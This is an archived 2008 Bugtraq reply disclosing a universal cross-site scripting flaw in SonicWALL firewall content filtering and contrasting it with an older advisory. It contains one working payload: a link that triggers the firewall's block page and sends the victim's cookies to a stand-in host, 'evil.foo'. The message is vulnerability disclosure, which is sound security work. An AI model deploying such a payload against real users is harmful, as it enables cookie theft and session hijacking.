bugtraq - Re: Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <10e6de610811011003p112d1b9fp3e3abf77ba595fb7@mail.gmail.com>
Date: Sat, 1 Nov 2008 17:03:54 +0000
From: "Adrian P." <ap@...citizen.org>
To: sipherr@...il.com
Cc: bugtraq@...urityfocus.com
Subject: Re: Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day

Hi sipherr,

The issue you referenced seems to only affect blocked sites (i.e.:
adware sites). The SonicWALL issue I reported allows you to hijack
*any site* (universal XSS) - including NON-blocked sites - by simply
inserting a swearword in the target site's URL. i.e.:

<a href="http://google.com/fuck#<script>location='http://evil.foo/
'+document.cookie</script>">Click me!</a>

Furthermore, the advisory you referenced explains how the script is
injected within the logs page, therefore the victim user can only be
the firewall administrator. The issue I reported allows you to attack
*any user* located in the LAN "protected" by the vulnerable SonicWALL
firewall.

Hope this makes sense.

Please see section "A REAL EXAMPLE AGAINST SONICWALL FIREWALLS" on the
following document for more details:

http://lab.gnucitizen.org/research-papers/Universal_website_hijacking_by_attacking_firew.pdf?attredirects=0

Regards,
ap.

On Fri, Oct 31, 2008 at 5:15 PM,  <sipherr@...il.com> wrote:
> http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-05/0154.html
>
> Thanks,
>
> sipher
>